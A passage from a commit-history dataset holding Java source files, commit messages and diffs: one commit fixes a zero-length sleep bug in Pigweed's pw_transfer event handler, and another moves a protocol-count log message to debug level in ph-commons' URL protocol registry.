<add> // there's relation already, with different direction.
<add> return false;
<add> }
<add> }
<ide> rpc.onPredecessorChanged(source.getStep().getPredecessor()
<ide> .getUid(), sw.getStep().getUid(), source.getStep()
<ide> .getUid());
<ide>
<ide> @Override
<ide> public void onUnregister() {
<add> super.onUnregister();
<ide> getLayoutManager().removeElementResizeListener(
<ide> getWidget().getElement(), widgetResizeListener);
<ide> unRegisterScrollDelegateHandlers(); |
|
Java | apache-2.0 | d5b4537fad3a63d43cc76a87d55721ed81bb6b6b | 0 | google/pigweed,google/pigweed,google/pigweed,google/pigweed,google/pigweed,google/pigweed,google/pigweed,google/pigweed,google/pigweed,google/pigweed | // Copyright 2022 The Pigweed Authors
//
// Licensed under the Apache License, Version 2.0 (the "License"); you may not
// use this file except in compliance with the License. You may obtain a copy of
// the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
// WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
// License for the specific language governing permissions and limitations under
// the License.
package dev.pigweed.pw_transfer;
import com.google.common.util.concurrent.ListenableFuture;
import dev.pigweed.pw_log.Logger;
import dev.pigweed.pw_rpc.Call;
import dev.pigweed.pw_rpc.ChannelOutputException;
import dev.pigweed.pw_rpc.MethodClient;
import dev.pigweed.pw_rpc.RpcError;
import dev.pigweed.pw_rpc.Status;
import dev.pigweed.pw_rpc.StreamObserver;
import java.time.Instant;
import java.time.temporal.ChronoUnit;
import java.time.temporal.TemporalUnit;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
import java.util.function.BooleanSupplier;
import java.util.function.Consumer;
import javax.annotation.Nullable;
/** Manages the active transfers and dispatches events to them. */
class TransferEventHandler {
private static final Logger logger = Logger.forClass(TransferEventHandler.class);
// Instant and BlockingQueue use different time unit types.
private static final TemporalUnit TIME_UNIT = ChronoUnit.MICROS;
private static final TimeUnit POLL_TIME_UNIT = TimeUnit.MICROSECONDS;
private final MethodClient readMethod;
private final MethodClient writeMethod;
private final BlockingQueue<Event> events = new LinkedBlockingQueue<>();
// Maps resource ID to transfer
private final Map<Integer, Transfer<?>> transfers = new HashMap<>();
@Nullable private Call.ClientStreaming<Chunk> readStream = null;
@Nullable private Call.ClientStreaming<Chunk> writeStream = null;
private boolean processEvents = true;
TransferEventHandler(MethodClient readMethod, MethodClient writeMethod) {
this.readMethod = readMethod;
this.writeMethod = writeMethod;
}
ListenableFuture<Void> startWriteTransferAsClient(int resourceId,
int transferTimeoutMillis,
int initialTransferTimeoutMillis,
int maxRetries,
byte[] data,
Consumer<TransferProgress> progressCallback,
BooleanSupplier shouldAbortCallback) {
WriteTransfer transfer = new WriteTransfer(resourceId,
new TransferInterface() {
@Override
Call.ClientStreaming<Chunk> getStream() throws ChannelOutputException {
if (writeStream == null) {
writeStream = writeMethod.invokeBidirectionalStreaming(new ChunkHandler() {
@Override
void resetStream() {
writeStream = null;
}
});
}
return writeStream;
}
},
transferTimeoutMillis,
initialTransferTimeoutMillis,
maxRetries,
data,
progressCallback,
shouldAbortCallback);
startTransferAsClient(transfer);
return transfer.getFuture();
}
ListenableFuture<byte[]> startReadTransferAsClient(int resourceId,
int transferTimeoutMillis,
int initialTransferTimeoutMillis,
int maxRetries,
TransferParameters parameters,
Consumer<TransferProgress> progressCallback,
BooleanSupplier shouldAbortCallback) {
ReadTransfer transfer = new ReadTransfer(resourceId,
new TransferInterface() {
@Override
Call.ClientStreaming<Chunk> getStream() throws ChannelOutputException {
if (readStream == null) {
readStream = readMethod.invokeBidirectionalStreaming(new ChunkHandler() {
@Override
void resetStream() {
readStream = null;
}
});
}
return readStream;
}
},
transferTimeoutMillis,
initialTransferTimeoutMillis,
maxRetries,
parameters,
progressCallback,
shouldAbortCallback);
startTransferAsClient(transfer);
return transfer.getFuture();
}
private void startTransferAsClient(Transfer<?> transfer) {
enqueueEvent(() -> {
if (transfers.put(transfer.getResourceId(), transfer) != null) {
transfer.cleanUp(new TransferError("A transfer for resource ID " + transfer.getResourceId()
+ " is already in progress! Only one read/write transfer per resource is supported at a time",
Status.ALREADY_EXISTS));
return;
}
transfer.start();
});
}
/** Handles events until stop() is called. */
void run() {
while (processEvents) {
handleNextEvent();
}
}
/** Stops the transfer event handler from processing events. */
void stop() {
enqueueEvent(() -> {
logger.atFine().log("Terminating TransferEventHandler");
transfers.values().forEach(Transfer::handleTermination);
processEvents = false;
});
}
/** Blocks until all events currently in the queue are processed; for test use only. */
void waitUntilEventsAreProcessedForTest() {
Semaphore semaphore = new Semaphore(0);
enqueueEvent(semaphore::release);
try {
semaphore.acquire();
} catch (InterruptedException e) {
throw new AssertionError("Unexpectedly interrupted", e);
}
}
private void enqueueEvent(Event event) {
while (true) {
try {
events.put(event);
return;
} catch (InterruptedException e) {
// Ignore and keep trying.
}
}
}
private void handleNextEvent() {
final long sleepFor = TIME_UNIT.between(Instant.now(), getNextTimeout());
try {
Event event = events.poll(sleepFor, POLL_TIME_UNIT);
if (event != null) {
event.handle();
}
} catch (InterruptedException e) {
// If interrupted, check for timeouts anyway.
}
for (Transfer<?> transfer : transfers.values()) {
transfer.handleTimeoutIfDeadlineExceeded();
}
}
private Instant getNextTimeout() {
Optional<Transfer<?>> transfer =
transfers.values().stream().min(Comparator.comparing(Transfer::getDeadline));
return transfer.isPresent() ? transfer.get().getDeadline() : Transfer.NO_TIMEOUT;
}
/** This interface gives a Transfer access to the TransferEventHandler. */
abstract class TransferInterface {
private TransferInterface() {}
/**
* Sends the provided transfer chunk.
*
* Must be called on the transfer therad.
*/
void sendChunk(Chunk chunk) throws TransferError {
try {
getStream().send(chunk);
} catch (ChannelOutputException | RpcError e) {
throw new TransferError("Failed to send chunk for write transfer", e);
}
}
/**
* Removes this transfer from the list of active transfers.
*
* Must be called on the transfer therad.
*/
void unregisterTransfer(int sessionId) {
transfers.remove(sessionId);
}
/**
* Initiates the cancellation process for the provided transfer.
*
* May be called from any thread.
*/
void cancelTransfer(Transfer<?> transfer) {
enqueueEvent(transfer::handleCancellation);
}
/** Gets either the read or write stream. */
abstract Call.ClientStreaming<Chunk> getStream() throws ChannelOutputException;
}
/** Handles responses on the pw_transfer RPCs. */
private abstract class ChunkHandler implements StreamObserver<Chunk> {
@Override
public final void onNext(Chunk chunk) {
enqueueEvent(() -> {
Transfer<?> transfer = transfers.get(chunk.getTransferId());
if (transfer != null) {
logger.atFinest().log(
"Transfer %d received chunk: %s", transfer.getSessionId(), chunkToString(chunk));
transfer.handleChunk(chunk);
} else {
logger.atWarning().log(
"Ignoring unrecognized transfer session ID %d", chunk.getTransferId());
}
});
}
@Override
public final void onCompleted(Status status) {
onError(Status.INTERNAL); // This RPC should never complete: treat as an internal error.
}
@Override
public final void onError(Status status) {
enqueueEvent(() -> {
resetStream();
// The transfers remove themselves from the Map during cleanup, iterate over a copied list.
List<Transfer<?>> activeTransfers = new ArrayList<>(transfers.values());
// FAILED_PRECONDITION indicates that the stream packet was not recognized as the stream is
// not open. This could occur if the server resets. Notify pending transfers that this has
// occurred so they can restart.
if (status.equals(Status.FAILED_PRECONDITION)) {
activeTransfers.forEach(Transfer::handleDisconnection);
} else {
TransferError error = new TransferError(
"Transfer stream RPC closed unexpectedly with status " + status, Status.INTERNAL);
activeTransfers.forEach(t -> t.cleanUp(error));
}
});
}
abstract void resetStream();
}
private static String chunkToString(Chunk chunk) {
StringBuilder str = new StringBuilder();
str.append("transferId:").append(chunk.getTransferId()).append(" ");
str.append("windowEndOffset:").append(chunk.getWindowEndOffset()).append(" ");
str.append("offset:").append(chunk.getOffset()).append(" ");
// Don't include the actual data; it's too much.
str.append("len(data):").append(chunk.getData().size()).append(" ");
if (chunk.hasPendingBytes()) {
str.append("pendingBytes:").append(chunk.getPendingBytes()).append(" ");
}
if (chunk.hasMaxChunkSizeBytes()) {
str.append("maxChunkSizeBytes:").append(chunk.getMaxChunkSizeBytes()).append(" ");
}
if (chunk.hasMinDelayMicroseconds()) {
str.append("minDelayMicroseconds:").append(chunk.getMinDelayMicroseconds()).append(" ");
}
if (chunk.hasRemainingBytes()) {
str.append("remainingBytes:").append(chunk.getRemainingBytes()).append(" ");
}
if (chunk.hasStatus()) {
str.append("status:").append(chunk.getStatus()).append(" ");
}
if (chunk.hasType()) {
str.append("type:").append(chunk.getTypeValue()).append(" ");
}
if (chunk.hasResourceId()) {
str.append("resourceId:").append(chunk.getSessionId()).append(" ");
}
if (chunk.hasSessionId()) {
str.append("sessionId:").append(chunk.getSessionId()).append(" ");
}
return str.toString();
}
// Represents an event that occurs during a transfer
private interface Event {
void handle();
}
}
| pw_transfer/java/main/dev/pigweed/pw_transfer/TransferEventHandler.java | // Copyright 2022 The Pigweed Authors
//
// Licensed under the Apache License, Version 2.0 (the "License"); you may not
// use this file except in compliance with the License. You may obtain a copy of
// the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
// WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
// License for the specific language governing permissions and limitations under
// the License.
package dev.pigweed.pw_transfer;
import com.google.common.util.concurrent.ListenableFuture;
import dev.pigweed.pw_log.Logger;
import dev.pigweed.pw_rpc.Call;
import dev.pigweed.pw_rpc.ChannelOutputException;
import dev.pigweed.pw_rpc.MethodClient;
import dev.pigweed.pw_rpc.RpcError;
import dev.pigweed.pw_rpc.Status;
import dev.pigweed.pw_rpc.StreamObserver;
import java.time.Instant;
import java.time.temporal.ChronoUnit;
import java.time.temporal.TemporalUnit;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
import java.util.function.BooleanSupplier;
import java.util.function.Consumer;
import javax.annotation.Nullable;
/** Manages the active transfers and dispatches events to them. */
class TransferEventHandler {
private static final Logger logger = Logger.forClass(TransferEventHandler.class);
// Instant and BlockingQueue use different time unit types.
private static final TemporalUnit TIME_UNIT = ChronoUnit.MICROS;
private static final TimeUnit POLL_TIME_UNIT = TimeUnit.MICROSECONDS;
private final MethodClient readMethod;
private final MethodClient writeMethod;
private final BlockingQueue<Event> events = new LinkedBlockingQueue<>();
// Maps resource ID to transfer
private final Map<Integer, Transfer<?>> transfers = new HashMap<>();
@Nullable private Call.ClientStreaming<Chunk> readStream = null;
@Nullable private Call.ClientStreaming<Chunk> writeStream = null;
private boolean processEvents = true;
TransferEventHandler(MethodClient readMethod, MethodClient writeMethod) {
this.readMethod = readMethod;
this.writeMethod = writeMethod;
}
ListenableFuture<Void> startWriteTransferAsClient(int resourceId,
int transferTimeoutMillis,
int initialTransferTimeoutMillis,
int maxRetries,
byte[] data,
Consumer<TransferProgress> progressCallback,
BooleanSupplier shouldAbortCallback) {
WriteTransfer transfer = new WriteTransfer(resourceId,
new TransferInterface() {
@Override
Call.ClientStreaming<Chunk> getStream() throws ChannelOutputException {
if (writeStream == null) {
writeStream = writeMethod.invokeBidirectionalStreaming(new ChunkHandler() {
@Override
void resetStream() {
writeStream = null;
}
});
}
return writeStream;
}
},
transferTimeoutMillis,
initialTransferTimeoutMillis,
maxRetries,
data,
progressCallback,
shouldAbortCallback);
startTransferAsClient(transfer);
return transfer.getFuture();
}
ListenableFuture<byte[]> startReadTransferAsClient(int resourceId,
int transferTimeoutMillis,
int initialTransferTimeoutMillis,
int maxRetries,
TransferParameters parameters,
Consumer<TransferProgress> progressCallback,
BooleanSupplier shouldAbortCallback) {
ReadTransfer transfer = new ReadTransfer(resourceId,
new TransferInterface() {
@Override
Call.ClientStreaming<Chunk> getStream() throws ChannelOutputException {
if (readStream == null) {
readStream = readMethod.invokeBidirectionalStreaming(new ChunkHandler() {
@Override
void resetStream() {
readStream = null;
}
});
}
return readStream;
}
},
transferTimeoutMillis,
initialTransferTimeoutMillis,
maxRetries,
parameters,
progressCallback,
shouldAbortCallback);
startTransferAsClient(transfer);
return transfer.getFuture();
}
private void startTransferAsClient(Transfer<?> transfer) {
enqueueEvent(() -> {
if (transfers.put(transfer.getResourceId(), transfer) != null) {
transfer.cleanUp(new TransferError("A transfer for resource ID " + transfer.getResourceId()
+ " is already in progress! Only one read/write transfer per resource is supported at a time",
Status.ALREADY_EXISTS));
return;
}
transfer.start();
});
}
/** Handles events until stop() is called. */
void run() {
while (processEvents) {
handleNextEvent();
}
}
/** Stops the transfer event handler from processing events. */
void stop() {
enqueueEvent(() -> {
logger.atFine().log("Terminating TransferEventHandler");
transfers.values().forEach(Transfer::handleTermination);
processEvents = false;
});
}
/** Blocks until all events currently in the queue are processed; for test use only. */
void waitUntilEventsAreProcessedForTest() {
Semaphore semaphore = new Semaphore(0);
enqueueEvent(semaphore::release);
try {
semaphore.acquire();
} catch (InterruptedException e) {
throw new AssertionError("Unexpectedly interrupted", e);
}
}
private void enqueueEvent(Event event) {
while (true) {
try {
events.put(event);
return;
} catch (InterruptedException e) {
// Ignore and keep trying.
}
}
}
private void handleNextEvent() {
final long sleepFor = Math.min(0, Instant.now().until(getNextTimeout(), TIME_UNIT));
try {
Event event = events.poll(sleepFor, POLL_TIME_UNIT);
if (event != null) {
event.handle();
}
} catch (InterruptedException e) {
// If interrupted, check for timeouts anyway.
}
for (Transfer<?> transfer : transfers.values()) {
transfer.handleTimeoutIfDeadlineExceeded();
}
}
private Instant getNextTimeout() {
Optional<Transfer<?>> transfer =
transfers.values().stream().min(Comparator.comparing(Transfer::getDeadline));
return transfer.isPresent() ? transfer.get().getDeadline() : Transfer.NO_TIMEOUT;
}
/** This interface gives a Transfer access to the TransferEventHandler. */
abstract class TransferInterface {
private TransferInterface() {}
/**
* Sends the provided transfer chunk.
*
* Must be called on the transfer therad.
*/
void sendChunk(Chunk chunk) throws TransferError {
try {
getStream().send(chunk);
} catch (ChannelOutputException | RpcError e) {
throw new TransferError("Failed to send chunk for write transfer", e);
}
}
/**
* Removes this transfer from the list of active transfers.
*
* Must be called on the transfer therad.
*/
void unregisterTransfer(int sessionId) {
transfers.remove(sessionId);
}
/**
* Initiates the cancellation process for the provided transfer.
*
* May be called from any thread.
*/
void cancelTransfer(Transfer<?> transfer) {
enqueueEvent(transfer::handleCancellation);
}
/** Gets either the read or write stream. */
abstract Call.ClientStreaming<Chunk> getStream() throws ChannelOutputException;
}
/** Handles responses on the pw_transfer RPCs. */
private abstract class ChunkHandler implements StreamObserver<Chunk> {
@Override
public final void onNext(Chunk chunk) {
enqueueEvent(() -> {
Transfer<?> transfer = transfers.get(chunk.getTransferId());
if (transfer != null) {
logger.atFinest().log(
"Transfer %d received chunk: %s", transfer.getSessionId(), chunkToString(chunk));
transfer.handleChunk(chunk);
} else {
logger.atWarning().log(
"Ignoring unrecognized transfer session ID %d", chunk.getTransferId());
}
});
}
@Override
public final void onCompleted(Status status) {
onError(Status.INTERNAL); // This RPC should never complete: treat as an internal error.
}
@Override
public final void onError(Status status) {
enqueueEvent(() -> {
resetStream();
// The transfers remove themselves from the Map during cleanup, iterate over a copied list.
List<Transfer<?>> activeTransfers = new ArrayList<>(transfers.values());
// FAILED_PRECONDITION indicates that the stream packet was not recognized as the stream is
// not open. This could occur if the server resets. Notify pending transfers that this has
// occurred so they can restart.
if (status.equals(Status.FAILED_PRECONDITION)) {
activeTransfers.forEach(Transfer::handleDisconnection);
} else {
TransferError error = new TransferError(
"Transfer stream RPC closed unexpectedly with status " + status, Status.INTERNAL);
activeTransfers.forEach(t -> t.cleanUp(error));
}
});
}
abstract void resetStream();
}
private static String chunkToString(Chunk chunk) {
StringBuilder str = new StringBuilder();
str.append("transferId:").append(chunk.getTransferId()).append(" ");
str.append("windowEndOffset:").append(chunk.getWindowEndOffset()).append(" ");
str.append("offset:").append(chunk.getOffset()).append(" ");
// Don't include the actual data; it's too much.
str.append("len(data):").append(chunk.getData().size()).append(" ");
if (chunk.hasPendingBytes()) {
str.append("pendingBytes:").append(chunk.getPendingBytes()).append(" ");
}
if (chunk.hasMaxChunkSizeBytes()) {
str.append("maxChunkSizeBytes:").append(chunk.getMaxChunkSizeBytes()).append(" ");
}
if (chunk.hasMinDelayMicroseconds()) {
str.append("minDelayMicroseconds:").append(chunk.getMinDelayMicroseconds()).append(" ");
}
if (chunk.hasRemainingBytes()) {
str.append("remainingBytes:").append(chunk.getRemainingBytes()).append(" ");
}
if (chunk.hasStatus()) {
str.append("status:").append(chunk.getStatus()).append(" ");
}
if (chunk.hasType()) {
str.append("type:").append(chunk.getTypeValue()).append(" ");
}
if (chunk.hasResourceId()) {
str.append("resourceId:").append(chunk.getSessionId()).append(" ");
}
if (chunk.hasSessionId()) {
str.append("sessionId:").append(chunk.getSessionId()).append(" ");
}
return str.toString();
}
// Represents an event that occurs during a transfer
private interface Event {
void handle();
}
}
| pw_transfer: Prevent zero length sleeps on the transfer thread
The transfer thread was ignoring the next timeout and always setting
sleepFor to 0.
Fixes: b/236881052
Change-Id: Ic08fd9195f4cb7a315bb791220c99d7c677496cb
Reviewed-on: https://pigweed-review.googlesource.com/c/pigweed/pigweed/+/99680
Reviewed-by: Alexei Frolov <[email protected]>
Pigweed-Auto-Submit: Wyatt Hepler <[email protected]>
Commit-Queue: Auto-Submit <14637eda5603879df170705285bf30f5996692f0@pigweed.google.com.iam.gserviceaccount.com>
| pw_transfer/java/main/dev/pigweed/pw_transfer/TransferEventHandler.java | pw_transfer: Prevent zero length sleeps on the transfer thread | <ide><path>w_transfer/java/main/dev/pigweed/pw_transfer/TransferEventHandler.java
<ide> }
<ide>
<ide> private void handleNextEvent() {
<del> final long sleepFor = Math.min(0, Instant.now().until(getNextTimeout(), TIME_UNIT));
<add> final long sleepFor = TIME_UNIT.between(Instant.now(), getNextTimeout());
<ide> try {
<ide> Event event = events.poll(sleepFor, POLL_TIME_UNIT);
<ide> if (event != null) { |
|
Java | apache-2.0 | d684ea4cda357ffc7207233c39330aa932c9455f | 0 | phax/ph-commons | /**
* Copyright (C) 2014-2015 Philip Helger (www.helger.com)
* philip[at]helger[dot]com
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.helger.commons.url;
import java.util.Collection;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.locks.ReentrantReadWriteLock;
import javax.annotation.Nonnegative;
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
import javax.annotation.concurrent.GuardedBy;
import javax.annotation.concurrent.Immutable;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.helger.commons.ValueEnforcer;
import com.helger.commons.annotations.ReturnsMutableCopy;
import com.helger.commons.collections.CollectionHelper;
import com.helger.commons.lang.ServiceLoaderUtils;
/**
* A central registry for supported URL protocols. By default, the registry will
* include all protocols contained in {@link EURLProtocol}, but it may be
* extended by custom protocols
*
* @author Boris Gregorcic
* @author Philip Helger
*/
@Immutable
public final class URLProtocolRegistry
{
private static final class SingletonHolder
{
static final URLProtocolRegistry s_aInstance = new URLProtocolRegistry ();
}
private static final Logger s_aLogger = LoggerFactory.getLogger (URLProtocolRegistry.class);
private static boolean s_bDefaultInstantiated = false;
private final ReentrantReadWriteLock m_aRWLock = new ReentrantReadWriteLock ();
@GuardedBy ("m_aRWLock")
private final Map <String, IURLProtocol> m_aProtocols = new HashMap <String, IURLProtocol> ();
private URLProtocolRegistry ()
{
reinitialize ();
}
public static boolean isInstantiated ()
{
return s_bDefaultInstantiated;
}
@Nonnull
public static URLProtocolRegistry getInstance ()
{
s_bDefaultInstantiated = true;
return SingletonHolder.s_aInstance;
}
/**
* Reinitialize all protocols. Adds all {@link EURLProtocol} values and
* invokes all SPI implementations.
*/
public void reinitialize ()
{
m_aRWLock.writeLock ().lock ();
try
{
m_aProtocols.clear ();
// Add all default protocols
for (final EURLProtocol aProtocol : EURLProtocol.values ())
m_aProtocols.put (aProtocol.getProtocol (), aProtocol);
}
finally
{
m_aRWLock.writeLock ().unlock ();
}
// Load all SPI implementations
for (final IURLProtocolRegistrarSPI aRegistrar : ServiceLoaderUtils.getAllSPIImplementations (IURLProtocolRegistrarSPI.class))
{
final Set <? extends IURLProtocol> aURLProtocols = aRegistrar.getAllProtocols ();
if (aURLProtocols != null)
for (final IURLProtocol aSPIProtocol : aURLProtocols)
registerProtocol (aSPIProtocol);
}
if (s_aLogger.isDebugEnabled ())
s_aLogger.debug (getRegisteredProtocolCount () + " URL protocols registered");
}
/**
* Registers a new protocol
*
* @param aProtocol
* The protocol to be registered. May not be <code>null</code>.
* @throws IllegalArgumentException
* If another handler for this protocol is already installed.
*/
public void registerProtocol (@Nonnull final IURLProtocol aProtocol)
{
ValueEnforcer.notNull (aProtocol, "Protocol");
m_aRWLock.writeLock ().lock ();
try
{
final String sProtocol = aProtocol.getProtocol ();
if (m_aProtocols.containsKey (sProtocol))
throw new IllegalArgumentException ("Another handler for protocol '" + sProtocol + "' is already registered!");
m_aProtocols.put (sProtocol, aProtocol);
s_aLogger.info ("Registered new custom URL protocol: " + aProtocol);
}
finally
{
m_aRWLock.writeLock ().unlock ();
}
}
/**
* @return All registered protocols
*/
@Nonnull
@ReturnsMutableCopy
public Collection <IURLProtocol> getAllProtocols ()
{
m_aRWLock.readLock ().lock ();
try
{
return CollectionHelper.newList (m_aProtocols.values ());
}
finally
{
m_aRWLock.readLock ().unlock ();
}
}
@Nonnegative
public int getRegisteredProtocolCount ()
{
m_aRWLock.readLock ().lock ();
try
{
return m_aProtocols.size ();
}
finally
{
m_aRWLock.readLock ().unlock ();
}
}
/**
* Try to evaluate the matching URL protocol from the passed URL
*
* @param sURL
* The URL to get the protocol from
* @return The corresponding URL protocol or <code>null</code> if unresolved
*/
@Nullable
public IURLProtocol getProtocol (@Nullable final String sURL)
{
if (sURL != null)
{
m_aRWLock.readLock ().lock ();
try
{
for (final IURLProtocol aProtocol : m_aProtocols.values ())
if (aProtocol.isUsedInURL (sURL))
return aProtocol;
}
finally
{
m_aRWLock.readLock ().unlock ();
}
}
return null;
}
/**
* Try to evaluate the matching URL protocol from the passed URL
*
* @param aURL
* The URL data
* @return The corresponding URL protocol or <code>null</code> if unresolved
*/
@Nullable
public IURLProtocol getProtocol (@Nullable final IURLData aURL)
{
return aURL == null ? null : getProtocol (aURL.getPath ());
}
/**
* Check if the passed URL has any known protocol
*
* @param sURL
* The URL to analyze
* @return <code>true</code> if the protocol is known, <code>false</code>
* otherwise
*/
public boolean hasKnownProtocol (@Nullable final String sURL)
{
return getProtocol (sURL) != null;
}
/**
* Check if the passed URL has any known protocol
*
* @param aURL
* The URL to analyze
* @return <code>true</code> if the protocol is known, <code>false</code>
* otherwise
*/
public boolean hasKnownProtocol (@Nullable final IURLData aURL)
{
return getProtocol (aURL) != null;
}
/**
* Return the passed URL where the protocol has been stripped (if known)
*
* @param sURL
* The URL to strip the protocol from. May be <code>null</code>.
* @return The passed URL where any known protocol has been stripped
*/
@Nullable
public String getWithoutProtocol (@Nullable final String sURL)
{
final IURLProtocol aProtocol = getProtocol (sURL);
return aProtocol == null ? sURL : sURL.substring (aProtocol.getProtocol ().length ());
}
}
| src/main/java/com/helger/commons/url/URLProtocolRegistry.java | /**
* Copyright (C) 2014-2015 Philip Helger (www.helger.com)
* philip[at]helger[dot]com
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.helger.commons.url;
import java.util.Collection;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.locks.ReentrantReadWriteLock;
import javax.annotation.Nonnegative;
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
import javax.annotation.concurrent.GuardedBy;
import javax.annotation.concurrent.Immutable;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.helger.commons.ValueEnforcer;
import com.helger.commons.annotations.ReturnsMutableCopy;
import com.helger.commons.collections.CollectionHelper;
import com.helger.commons.lang.ServiceLoaderUtils;
/**
* A central registry for supported URL protocols. By default, the registry will
* include all protocols contained in {@link EURLProtocol}, but it may be
* extended by custom protocols
*
* @author Boris Gregorcic
* @author Philip Helger
*/
@Immutable
public final class URLProtocolRegistry
{
private static final class SingletonHolder
{
static final URLProtocolRegistry s_aInstance = new URLProtocolRegistry ();
}
private static final Logger s_aLogger = LoggerFactory.getLogger (URLProtocolRegistry.class);
private static boolean s_bDefaultInstantiated = false;
private final ReentrantReadWriteLock m_aRWLock = new ReentrantReadWriteLock ();
@GuardedBy ("m_aRWLock")
private final Map <String, IURLProtocol> m_aProtocols = new HashMap <String, IURLProtocol> ();
private URLProtocolRegistry ()
{
reinitialize ();
}
public static boolean isInstantiated ()
{
return s_bDefaultInstantiated;
}
@Nonnull
public static URLProtocolRegistry getInstance ()
{
s_bDefaultInstantiated = true;
return SingletonHolder.s_aInstance;
}
/**
* Reinitialize all protocols. Adds all {@link EURLProtocol} values and
* invokes all SPI implementations.
*/
public void reinitialize ()
{
m_aRWLock.writeLock ().lock ();
try
{
m_aProtocols.clear ();
// Add all default protocols
for (final EURLProtocol aProtocol : EURLProtocol.values ())
m_aProtocols.put (aProtocol.getProtocol (), aProtocol);
}
finally
{
m_aRWLock.writeLock ().unlock ();
}
// Load all SPI implementations
for (final IURLProtocolRegistrarSPI aRegistrar : ServiceLoaderUtils.getAllSPIImplementations (IURLProtocolRegistrarSPI.class))
{
final Set <? extends IURLProtocol> aURLProtocols = aRegistrar.getAllProtocols ();
if (aURLProtocols != null)
for (final IURLProtocol aSPIProtocol : aURLProtocols)
registerProtocol (aSPIProtocol);
}
s_aLogger.info (getRegisteredProtocolCount () + " URL protocols registered");
}
/**
* Registers a new protocol
*
* @param aProtocol
* The protocol to be registered. May not be <code>null</code>.
* @throws IllegalArgumentException
* If another handler for this protocol is already installed.
*/
public void registerProtocol (@Nonnull final IURLProtocol aProtocol)
{
ValueEnforcer.notNull (aProtocol, "Protocol");
m_aRWLock.writeLock ().lock ();
try
{
final String sProtocol = aProtocol.getProtocol ();
if (m_aProtocols.containsKey (sProtocol))
throw new IllegalArgumentException ("Another handler for protocol '" + sProtocol + "' is already registered!");
m_aProtocols.put (sProtocol, aProtocol);
s_aLogger.info ("Registered new custom URL protocol: " + aProtocol);
}
finally
{
m_aRWLock.writeLock ().unlock ();
}
}
/**
* @return All registered protocols
*/
@Nonnull
@ReturnsMutableCopy
public Collection <IURLProtocol> getAllProtocols ()
{
m_aRWLock.readLock ().lock ();
try
{
return CollectionHelper.newList (m_aProtocols.values ());
}
finally
{
m_aRWLock.readLock ().unlock ();
}
}
@Nonnegative
public int getRegisteredProtocolCount ()
{
m_aRWLock.readLock ().lock ();
try
{
return m_aProtocols.size ();
}
finally
{
m_aRWLock.readLock ().unlock ();
}
}
/**
* Try to evaluate the matching URL protocol from the passed URL
*
* @param sURL
* The URL to get the protocol from
* @return The corresponding URL protocol or <code>null</code> if unresolved
*/
@Nullable
public IURLProtocol getProtocol (@Nullable final String sURL)
{
if (sURL != null)
{
m_aRWLock.readLock ().lock ();
try
{
for (final IURLProtocol aProtocol : m_aProtocols.values ())
if (aProtocol.isUsedInURL (sURL))
return aProtocol;
}
finally
{
m_aRWLock.readLock ().unlock ();
}
}
return null;
}
/**
* Try to evaluate the matching URL protocol from the passed URL
*
* @param aURL
* The URL data
* @return The corresponding URL protocol or <code>null</code> if unresolved
*/
@Nullable
public IURLProtocol getProtocol (@Nullable final IURLData aURL)
{
return aURL == null ? null : getProtocol (aURL.getPath ());
}
/**
* Check if the passed URL has any known protocol
*
* @param sURL
* The URL to analyze
* @return <code>true</code> if the protocol is known, <code>false</code>
* otherwise
*/
public boolean hasKnownProtocol (@Nullable final String sURL)
{
return getProtocol (sURL) != null;
}
/**
* Check if the passed URL has any known protocol
*
* @param aURL
* The URL to analyze
* @return <code>true</code> if the protocol is known, <code>false</code>
* otherwise
*/
public boolean hasKnownProtocol (@Nullable final IURLData aURL)
{
return getProtocol (aURL) != null;
}
/**
* Return the passed URL where the protocol has been stripped (if known)
*
* @param sURL
* The URL to strip the protocol from. May be <code>null</code>.
* @return The passed URL where any known protocol has been stripped
*/
@Nullable
public String getWithoutProtocol (@Nullable final String sURL)
{
final IURLProtocol aProtocol = getProtocol (sURL);
return aProtocol == null ? sURL : sURL.substring (aProtocol.getProtocol ().length ());
}
}
| Less debug only output | src/main/java/com/helger/commons/url/URLProtocolRegistry.java | Less debug only output | <ide><path>rc/main/java/com/helger/commons/url/URLProtocolRegistry.java
<ide> for (final IURLProtocol aSPIProtocol : aURLProtocols)
<ide> registerProtocol (aSPIProtocol);
<ide> }
<del> s_aLogger.info (getRegisteredProtocolCount () + " URL protocols registered");
<add>
<add> if (s_aLogger.isDebugEnabled ())
<add> s_aLogger.debug (getRegisteredProtocolCount () + " URL protocols registered");
<ide> }
<ide>
<ide> /** |
|
